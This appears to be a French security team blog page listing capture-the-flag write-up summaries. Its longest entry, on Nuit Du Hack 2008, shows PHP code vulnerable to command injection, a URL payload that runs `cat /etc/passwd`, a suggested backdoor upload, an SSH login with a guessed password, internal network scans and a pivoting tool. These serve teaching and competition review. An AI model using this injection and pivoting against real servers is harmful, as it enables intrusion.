NDH Prequals RCE300 Write-Up
Un challenge original qui consistait à reverse un jeu de Nintendo DS.
(Lire la suite…)
Insomni’hack 2011 – Reverse 2
Pour ce challenge de reverse engineering, il nous fallait connaître la bonne clef à envoyer au serveur pour qu’il puisse ouvrir un fichier en local et nous renvoyer le flag.
(Lire la suite…)
Hack.lu 2010 CTF – Chip forensic 200 writeup
Ce dixième challenge intitulé “Chip forensic” à pour objectif la récupération de données suite à un dump effectué depuis une puce mémoire. Il s’agira donc dans un premier temps d’identifier l’origine de la puce afin de déterminer quelles données elle peut bien contenir. La suite consistera en la reconstruction de ces dernières.
Hack.lu 2010 CTF – Breiers deathmatch 150 writeup
Tout comme la première épreuve de ce CTF, “Breiers Deathmatch” nécessite de se connecter à un socket afin de résoudre un petit problème de cryptographie.
(Lire la suite…)
Hack.lu 2010 CTF – Fun 300 writeup
Une fois de plus Nibbles a concouru lors du CTF Hack.lu 2010 organisé par les FluxFingers (@Fluxfingers), on a pas réussi à poncer la première team “bobsleigh” (Française aussi) mais on a poncé la team Russe de Leetmore, résultats des courses on a fini second.
(Lire la suite…)
CSAW CTF Write-up forensics 1 à 4
Les épreuves de forensics données au CSAW CTF n’étaient pas vraiment ce à quoi je m’attendais, mais on a quand même réussi à en résoudre la plupart. Les challenges ont été confectionnés par Efstratios Gavas (@xtrat), Directeur du Laboratoire de cyber-sécurité à l’Université Polytechnique de New York ! Rien que ça :)
(Lire la suite…)
CSAW CTF Write-up Exploit 1 – FreeBSD remote stack based buffer overflow
J’ai eu l’opportunité de regarder l’exploit1 avec teach, sauf qu’il avait pas sa VM FreeBSD prête donc c’est bibi qui s’y est collé ! Tant mieux c’était marrant :)
(Lire la suite…)
CSAW-CTF Alex Sotirov Reversing 1
Le reverse-me se présente sous la forme d’un exécutable 16 bits, la consigne étant :
You’re looking for the magical incantation that will cause the program to display the secret KEY.
On se rend rapidement compte que les deux arguments passés au challenge sont utilisés comme 2 adresses de fonctions qui sont appelées l’une après l’autre, avec les mêmes arguments et dont les valeurs de retours sont xorées pour obtenir 2*4 chars affichés par la suite à l’aide d’une messagebox.
Ce qui nous donne une fois recodé en C :
int main(int argc, char** argv) { WORD (*a)(WORD,WORD,WORD,WORD,WORD); WORD (*b)(WORD,WORD,WORD,WORD,WORD); char serial[0xFF]; memset(serial, 0, 0xFF); sscanf(argv[1], "%u %u", &a, &b); *((WORD*)&serial[0]) = a(0x4358, 0x5BE, 0x500E, 0x324F, 0x169) ^ b(0x4358, 0x5BE, 0x500E, 0x324F, 0x169); *((WORD*)&serial[2]) = a(0x3FD8, 0x593, 0x8CA3, 0x5630, 0xDDFE) ^ b(0x3FD8, 0x593, 0x8CA3, 0x5630, 0xDDFE); *((WORD*)&serial[4]) = a(0x1B, 0x7D08, 0x0F8B, 0x28A0, 0x0D158) ^ b(0x1B, 0x7D08, 0x0F8B, 0x28A0, 0x0D158); *((WORD*)&serial[6]) = a(0x0B682, 0x1C9D, 0x99FC, 0xDBD9, 0x46D0) ^ b(0x0B682, 0x1C9D, 0x99FC, 0xDBD9, 0x46D0); MessageBox(0, "K:?", serial, 0); }
CITCTF 2010 – Complete PDF Writeup
Nibbles team published a complete writeup of the CITCTF 2010 tasks validated in PDF format (don’t worry it’s not a malware ;) ).
You can download it here.
Hf.
Defcon 18 Quals Pwtent Pwnable 300
Same article is available in english here
Le Pwtent Pwnable (généralement la rubrique où l’on doit exploiter des services) 300 était une épreuve du Defcon, qui je ne le vous cache pas, rapportait 300 points. L’information jointe était le nom de l’hôte accompagné du port : pwn21.ddtek.biz, port 5555.
A ce jeu, nous décidons de tâter le terrain. Il s’agit d’un mini-jeu, qui débute par vous demander de créer un compte, et ensuite s’ouvre à vous un panel d’options (achat de poulet, vente de petit poussin, affichage des options, mise à jour des options…).
On se pose des questions quant à la coïncidence métaphysique entre les poulets et teach (consommateur avéré de poussin chez KFC) qui a aussi travaillé sur cette épreuve.
L’analyse que je vais présenter ici est une solution parmi d’autres. Parfois il arrive qu’une technique soit plus simple, mais qu’elle nous échappe pendant le CTF (fatigue selon milo :) ?). Il faut savoir que foncer comme un bourrin peut apporter des avantages(cf. commentaires), mais chez Nibbles, on préfère comprendre les choses de manière détaillée.
(Lire la suite…)
Defcon 18 quals Packet Madness 300
Write-up Codegate 2010 – Forensic, introduction à Sleuth Kit et Autopsy
Le challenge #19 était intéressant aussi, au moins pour l’histoire :
On a trouvé un homme mort dans la rue, on suppose qu'il s'est suicidé.
Comment en est-on arrivé à cette supposition ? Trouvez l'indice.
On nous donne ce simple fichier binaire : 56DACF1C6CF363F27501FFCA50CC0415 (9.6 Mo).
Writeup Challenge 9 du CTF Codegate
Hello everyone, here is a writeup for the 9th challenge of the Codegate CTF.
URL: http://ctf8.codegate.org/597d0c8bbd21d9924cde3567258f4e62/index.php
Padocon CTF | Karma300
Toujours sur le Padocon CTF avec cette fois-ci un writeup sur une des épreuves les plus compliquée du challenge. Il s’agit de la karma300, une exploitme de type format string assez classique mais elle s’effectue dans des conditions très particulières la rendant très difficile à exploiter. Pour la réussir il faut d’abord comprendre le fonctionnement de la libc notamment au moment de l’appel à exit(). Enfin quelques tricks cools achèvent la bête.
(Lire la suite…)
Padocon CTF | Warmup100
Ce weekend se déroulait le CTF organisé pour la conférence PAraDOx (twitter) qui se déroule en Corée. La team nibbles était bien sur de la partie et à même finie 14ème (id ox90909090) sur environ 90 inscrits. Un bon CTF (url) d’ailleurs avec plein d’épreuves sympas, on avait des crackmes win et linux, des exploitme (beaucoup en fait :]), du webhack, un peu de crypto relou et des trucs weirds. Le CTF commençait vendredi soir à 22h KST, soit 14h en france et finissait 48h plus tard. Voici la timeline de nos validations :
start @ 22h KST 1. [10/02/05 23:58:55] CrackMe 100, 200 2. [10/02/06 00:45:17] CrackMe 200, 200 3. [10/02/06 00:58:14] CatchMe, 200 4. [10/02/06 02:42:27] web300, 200 5. [10/02/06 06:38:31] warmup100, 200 6. [10/02/06 08:58:53] ddanjin, 300 7. [10/02/06 09:27:44] trililogy100, 400 8. [10/02/06 10:20:42] trililogy200, 400 9. [10/02/06 10:33:20] tomato, 200 10. [10/02/06 10:47:24] warmup200, 200 11. [10/02/06 18:55:44] karma100, 400 12. [10/02/06 19:36:59] karma200, 400
Et le classement final le dimanche à 14h :
1. ???(ADNIM), 5600 (beistlab) 2. GoN(loco), 4700 3. PPP(pwning), 4500 4. lalalulu(lalalulu), 4500 5. Cyworld(abc123), 4500 6. sonic,elnn(1234), 4500 7. PEAK(PEAK), 4500 8. asdf(asdf), 4500 9. Sapheadz(sapheadz), 4400 10. is119(is119), 3900 11. ????(qwer), 3800 12. NollTour(NollTour), 3800 13. clgt(clgtvnsec), 3600 14. Nibbles(ox90909090), 3300 15. ??(bada), 3300
Je vous propose un writeup sur une des épreuves d’exploitme, warmup100, celle-ci nous a laissé dubitatif au début mais on l’a poncé grâce à une technique d’exploitation intéressante.
(Lire la suite…)
Break your ARMs Part 1
Pendant le rutctf l’équipe Nibbles à prit super cher. Le challenge consistait à exploiter différents services tournant sous un émulateur Android depuis une VM Debian sous VirtualBox, la faute de se fiasco à l’émulateur qui crashait régulièrement sans raison apparente. Finalement lors du débriefing on a apprit qu’une team s’était amusé à poncer tout le monde avec un script qui se connectait sur l’émulateur et lui passait une commande le faisant crasher, cool …
Si vous ne le savez pas, Android tourne sous ARM, Baboon et moi avons justement passé pas mal de temps à reverser un binaire ARM, pour finalement pas grand chose …
Bref tout cela pour dire que comprendre correctement l’ARM ca peut être utile parfois. Justement cela m’a rappelé un autre challenge auquel l’équipe Nibbles avait participé, le CTF CSAW, cette fois la team s’est mieux débrouillé ! Dans ce CTF on retrouvait encore des binaires ARM à reverser et exploiter. C’est là le propos de ce post, montré comment il fallait configurer l’image du challenge en local puis exploiter un service vulnérable sur une architecture ARM.
Challenge « La Nuit Du Hack » 2008
Cet article est soumis à modifications dans les heures qui viennent, notamment l’ajout de screenshots
Well well well… C’est pas tellement dans mes habitudes de blog-er comme un f0u mais une fois n’est pas coutume, qui plus est c’est malgré tout intérressant de se prêter à l’exercice.
Retour donc sur la Nuit Du Hack qui s’est déroulée hier quelque part aux alentours de Paris m’a-t-on dit, à laquelle je n’étais pas mais qui comme chaque année brasse plusieurs membres du stars-system dont le plus fashion de tous, mon bon pote Ivanlef0u, lequel après m’avoir débrieffé rapidement la soirée me donne le lien d’une machine de challenge spécifiquement montée pour l’occasion et sur laquelle je me suis empressé de le rejoindre…
Sans plus attendre…
…entrons dans le vif de la plaie :
Après avoir tourné et retourné un peu, notamment autour de la shoutbox, je navigue ci et là et trouve alors qu’il y a derrière tout ça un “Joomla radio component 5.0″, lequel est vulnérable et permet d’aller lire dans la racine du serveur des fichiers sensibles tels des .htaccess/.htpasswd etc.
En continuant de chercher – et c’est beaucoup plus probant – on trouvait une exécution de commandes distante directement sur la page de l’éthylomètre. En lieu et place de “VOTRE NOM:” on passe des commandes shell backquotées.
Dans le code de la page :
function GetAlcoolemie() { var nom = document.getElementById('ALC_NOM').value; xmlreq = CreateXMLObj(AfficheAlcoolemie); xmlreq.open('GET', 'http://www.sysidea.com/ethylo.php?ALC_NOM='+nom, true); xmlreq.send(null); }
Et dans le code du script ethylo.php :
<?php $nom = $_GET['ALC_NOM']; $nb_alc = 1.2 + (rand()%20)/10.0; $script_perl = "\"print '$nom: vous avez $nb_alc g/L. dans le sang'\""; $cmd = "/home/joomla/launch_ethylo.pl $script_perl 2>&1"; system($cmd); ?>
Ce qui à l’arrivée nous donne :
http://www.sysidea.com/ethylo.php?ALC_NOM=`cat /etc/passwd`
Evidemment il y a des choses plus sympatoches à faire qu’afficher passwd…
Une idée notamment aurait été d’uploader dans un répertoire writeable (ou “scriptible” en bon françois) un fichier à grands coups de echo "L1GN3UU3NC0DEE" >> backdoor.uue
Et de uudecoder le tout ensuite pour obtenir une jolie backdoor (j’avais lu un truc dans le même ordre d’idée sur le blog de Lexfo il me semble)
Disons qu’on en restera là pour l’accès à la box, en vérité en fouinant le site j’ai vu que le nom de “Benoit Chouffe” revenait assez r&eaucte;gulièrement, et au préalable j’avais -bien que c’était pas super intérressant- quand même dumpé /etc/passwd dans lequel on trouvait un utilisateur système “chouffe” avec un shell.
j0rn@galaad:~$ ssh chouffe@sysidea.com password: (benoit) chouffe@vmdebian:~$
Miracle des coincidences provoquées, on a un shell sur la boiboite..
Bon, quelques *instants* passés à étudier un peu la box, voir comment c’est foutu, ce qu’il y a dessus etc. Rien de très probant, quelques exécutables suid, un ping et un netstat dans ce qui ressemble à un chroot, et un script perl suid root dont on m’a rappellé que ça ne changeait pas grand chose au fait que /usr/bin/perl lui n’est pas suid, donc finalement rien de bien utile, le uname nous renvoit un kernel Linux 2.6.25.4, ça sort de mes compétences actuelles et qui plus est il faut aller assez vite, je choisis donc de mettre de coté le serveur pour partir en quête d’un LAN derrière, paraît-il qu’il y en a un
Donc..
chouffe@vmdebian:~$ route -bash: route: command not found chouffe@vmdebian:~$ echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/games chouffe@vmdebian:~$ find / -name route 2>/dev/null /sbin/route [...] chouffe@vmdebian:~$ /sbin/route Table de routage IP du noyau Destination Passerelle Genmask Indic Metric Ref Use Iface 10.0.69.1 * 255.255.255.255 UH 0 0 0 tun0 88.191.208.80 * 255.255.255.240 U 0 0 0 eth2 192.168.125.0 10.0.69.1 255.255.255.0 UG 0 0 0 tun0 default 88.191.208.81 0.0.0.0 UG 0 0 0 eth2
Ok so, on a une passerelle en 10.0.69.1
Interesting ports on 10.0.69.1: Not shown: 1678 filtered ports PORT STATE SERVICE VERSION 53/tcp open domain ISC Bind dnsmasq-2.39 444/tcp open ssl/http lighttpd 1.4.18
Et notre LAN en qu’on va taper en 192.168.125.0/24
On trouve 2 hotes gràce â nmap présent sur la machine; 192.168.125.209 et 192.168.125.210
(Avec le recul on aurait pu commencer par aller regarder en premier lieu dans /etc/hosts d’ailleur)
Interesting ports on 192.168.125.209: Not shown: 1655 closed ports PORT STATE SERVICE VERSION 1/tcp filtered tcpmux 61/tcp filtered ni-mail 90/tcp filtered dnsix 133/tcp filtered statsrv 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 181/tcp filtered unify 248/tcp filtered bhfhs 345/tcp filtered pawserv 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 468/tcp filtered photuris 730/tcp filtered netviewdm2 748/tcp filtered ris-cm 790/tcp filtered unknown 810/tcp filtered unknown 819/tcp filtered unknown 1220/tcp filtered quicktime 1472/tcp filtered csdm 1482/tcp filtered miteksys-lm 1494/tcp filtered citrix-ica 2005/tcp filtered deslogin 2014/tcp filtered troff 3389/tcp open microsoft-rdp Microsoft Terminal Service 5102/tcp filtered admeng 5977/tcp filtered ncd-pref-tcp Service Info: OS: Windows
Interesting ports on 192.168.125.210: Not shown: 1663 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 53/tcp open domain Microsoft DNS 80/tcp open http Microsoft IIS webserver 6.0 88/tcp open tcpwrapped 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 389/tcp open ldap Microsoft LDAP server 443/tcp open ssl/http Microsoft IIS webserver 6.0 445/tcp open microsoft-ds Microsoft Windows 2003 microsoft-ds 464/tcp open tcpwrapped 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft LDAP server 1025/tcp open msrpc Microsoft Windows RPC 1027/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 1155/tcp open msrpc Microsoft Windows RPC 3268/tcp open ldap Microsoft LDAP server 3269/tcp open ssl/ldap Microsoft LDAP server Service Info: OS: Windows
Bon, pour nous faciliter la vie on va utiliser un tool de redirection, ne me souvenant plus comment on fait de jolis tunnels ssh toussa, on va se contenter de datapipe, un petit tool qu’on pourra trouver au besoin sur mon vieux repository.
j0rn@galaad:~$ file datapipe datapipe: ELF 32-bit LSB executable, Intel 80386 [...] statically linked [...] j0rn@galaad:~$ scp ./datapipe chouffe@sysidea.com:~
Et alors que je testais, écrivait ce post et faisait une collecte d’exploits potentiels à tester en même temps, le ssh du serveur ainsi que le verdict sont tombés : game over :)
Néanmoins on pouvait sans doute tenter de bruteforcer le terminal server de la .209 avec des outils comme TSGrinder, TScrack ou rdesktop
On pouvait également tester les derniers exploits (2007 essentiellement) contre des RPC, DNS etc. à mon avis
Et très certainement il devait y avoir un moyen d’aller taper l’annuaire LDAP d’une facon ou d’une autre mais j’ai pas eu le temps de regarder…
Qualif Defcon 2008
Ce week-end se déroulait les qualifications online pour la Defcon 2008 à qui se passera à Las-Vegas du 8 au 10 août. Les épreuves allaient du reversing à l’exploitation de binaire en passant par le webhack et le forensic. Chaque equipe devait donc tenter de valider en 2 jours le plus d’épreuves et ô grand bonheur les français avec l’équipe Routards on finit 1er ex-aequo avec les Pandas with Gambas. Vous trouverez les reste des résultats ici.
Souhaitons au français de réaliser le même exploit à Las-Vegas cet été !























